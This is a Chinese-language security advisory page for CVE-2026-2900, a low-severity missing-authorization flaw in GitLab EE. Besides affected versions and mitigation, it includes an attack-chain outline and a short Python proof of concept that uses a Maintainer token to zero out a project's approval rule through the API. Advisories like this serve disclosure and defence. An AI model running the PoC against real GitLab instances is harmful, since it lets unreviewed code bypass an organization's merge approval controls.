IPBUF安全漏洞报告
English
CVE-2026-2900 CVSS 2.7 低危

CVE-2026-2900 GitLab EE 权限绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-2900
漏洞类型
权限绕过
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GitLab Enterprise Edition (EE)

相关标签

权限绕过访问控制缺失GitLabCWE-862

漏洞概述

GitLab EE 存在一个安全漏洞,影响从 16.10 到 18.11.3 之前的多个版本。该漏洞是由于在启用实例级批准规则编辑预防功能时,系统缺少必要的授权检查导致的。拥有 Maintainer(维护者)权限的经过身份验证的用户,可以利用此漏洞绕过限制,修改或删除项目的批准规则。这可能导致项目流程控制失效,尽管 CVSS 评分较低,但在高权限环境下仍需引起重视。

技术细节

该漏洞属于访问控制缺失问题。在 GitLab EE 的实例配置中,管理员可以启用“实例级批准规则编辑预防”,以限制特定用户对批准规则的更改。然而,在受影响的版本中,后端 API 在处理项目批准规则的修改或删除请求时,未正确验证用户权限。当攻击者获取到 Maintainer 权限账号后,可以通过发送特制的 HTTP 请求(如 PUT 或 DELETE 请求)到相关 API 端点,直接修改或删除项目级别的批准规则。由于缺少授权校验,系统错误地允许了本应被阻止的操作。攻击者可借此破坏代码合并的审批流程,将未经充分审查的代码合并到主分支。

攻击链分析

STEP 1
步骤1
攻击者侦察目标 GitLab 实例,确认其运行受影响版本的 GitLab EE。
STEP 2
步骤2
攻击者获取一个具有 Maintainer 权限的合法账号凭证。
STEP 3
步骤3
攻击者向项目批准规则的 API 端点发送 PUT 或 DELETE 请求,携带获取的 Token。
STEP 4
步骤4
由于缺少授权检查,服务器接受请求,导致项目批准规则被修改或删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://gitlab.example.com" PROJECT_ID = "123" RULE_ID = "456" TOKEN = "glpat-maintainer_token_here" headers = { "PRIVATE-TOKEN": TOKEN, "Content-Type": "application/json" } # Exploit payload: Modify approval rule payload = { "name": "Hijacked Rule", "approvals_required": 0 } # Send request to modify the rule endpoint = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/approval_rules/{RULE_ID}" response = requests.put(endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Successfully modified/deleted approval rule.") else: print(f"[-] Failed. Status code: {response.status_code}")

影响范围

GitLab EE 16.10 至 18.9.7 之前
GitLab EE 18.10 至 18.10.6 之前
GitLab EE 18.11 至 18.11.3 之前

防御指南

临时缓解措施
建议管理员立即升级到修复版本。在无法升级的情况下,应严格监控拥有 Maintainer 角色的用户行为,并审查审计日志中关于批准规则的异常修改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表